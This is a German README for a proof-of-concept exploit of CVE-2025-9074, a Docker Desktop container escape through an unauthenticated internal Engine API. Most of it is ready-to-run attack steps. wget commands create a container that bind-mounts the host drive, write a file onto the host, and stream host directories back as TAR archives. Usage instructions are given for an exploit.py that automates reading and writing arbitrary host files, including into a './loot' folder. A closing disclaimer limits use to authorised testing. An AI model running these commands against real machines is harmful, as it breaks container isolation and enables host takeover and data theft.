
PoC-Exploit für CVE-2025-9074, der einen vollständigen Docker-Desktop-Containerausbruch unter Windows und macOS über eine nicht authentifizierte interne Docker-Engine-API demonstriert.
Docker Desktop legt die interne Docker-Engine-API unter http://192.168.65.7:2375
für jeden laufenden Container offen — ohne Authentifizierung und ohne Zugriffskontrolle.
Da die Engine selbst das Host-Dateisystem einhängen kann, kann ein Container diese API aufrufen, um einen neuen Container zu erstellen, der das Host-Laufwerk per Bind-Mount einhängt, und diesen Container dann nutzen, um beliebige Host-Dateien zu lesen und zu schreiben — ein vollständiger Escape vom Container zum Host.
http://192.168.65.7:2375 — es sind keine Anmeldedaten erforderlich.POST /containers/create mit
Binds: ["/mnt/host:/host_root"] und hängt das Host-Laufwerk in einen neuen Container ein.
Innerhalb der Docker-VM ist das Host-Dateisystem unter /mnt/host zugänglich
(z. B. befindet sich das Windows-Laufwerk C: unter /mnt/host/c).POST /containers/{id}/start aktiviert den Bind-Mount
und gewährt vollen Host-Zugriff.echo pwned > /host_root/c/test/pwn.txt).GET /containers/{id}/archive?path=... streamt jeden Host-Pfad
als TAR-Archiv zurück — keine Shell erforderlich.Erstellen Sie C:\test\readme.txt mit einigen Beispielinhalten, damit die Lese-Demo ein Ziel hat.

docker run -it --rm alpine /bin/sh
Alle manuellen Schritte unten werden innerhalb dieses Containers ausgeführt (alpine enthält wget).
Setzen Sie eine Shell-Variable für die API, um die Befehle kurz zu halten:
API=http://192.168.65.7:2375
Ziel: Erstellen von C:\test\pwn.txt auf dem Host aus einem Container heraus.
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)
# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start
Was passiert ist:
Binds: /mnt/host:/host_root mountet die Host-Laufwerke in den neuen Container.pwned nach C:\test\pwn.txt (/host_root/c/test/pwn.txt).Erwartetes Ergebnis: C:\test\pwn.txt existiert nun auf dem Host.

Ziel: Lesen von C:\test\readme.txt vom Host aus einem Container heraus.
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start
# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt
Was passiert ist:
GET /containers/{id}/archive?path=... streamt jeden Host-Pfad als TAR zurück — keine Shell erforderlich.Erwartetes Ergebnis: Der Inhalt von C:\test\readme.txt wird ausgegeben.

exploit.pyexploit.py automatisiert beide Abläufe. Es verwendet nur die Python-Standardbibliothek, erkennt den Host-Mount automatisch (Windows /mnt/host/c vs. macOS/Linux /) und übersetzt native Host-Pfade für Sie.
Die interne API (
192.168.65.7:2375) ist nur von innerhalb eines Containers aus erreichbar, führen Sie das Skript also in einem Container mit Python aus:
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info
Verwenden Sie unter Windows PowerShell -v "${PWD}:/x"; unter cmd.exe -v "%cd%:/x".
python /x/exploit.py info
Pingt die API an, erkennt das Host-Betriebssystem und listet die obersten Einträge des Host-Mounts auf.
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'
# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'
# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot
| Flag | Zweck |
|---|---|
--api URL | API-Endpunkt überschreiben (Standard http://192.168.65.7:2375) |
--image NAME | Image für den Exploit-Container (Standard alpine, wird bei Bedarf automatisch gepullt) |
--vm-mount PATH | Auto-Erkennung überspringen und den In-VM-Host-Mount erzwingen (z. B. /mnt/host oder /) |
Dieser PoC dient ausschließlich autorisierten Tests, der Bildung und der Forschung. Der Autor übernimmt keine Haftung für Missbrauch. Führen Sie ihn nur gegen Systeme aus, die Ihnen gehören oder für deren Test Sie eine Genehmigung haben.
Dieser PoC und die README sind abgeleitet aus der Forschung von Felix Boulet. Alle Anerkennung für die ursprüngliche Entdeckung und Analyse gebührt dem ursprünglichen Autor.
Dieses Projekt ist unter der MIT-Lizenz lizenziert.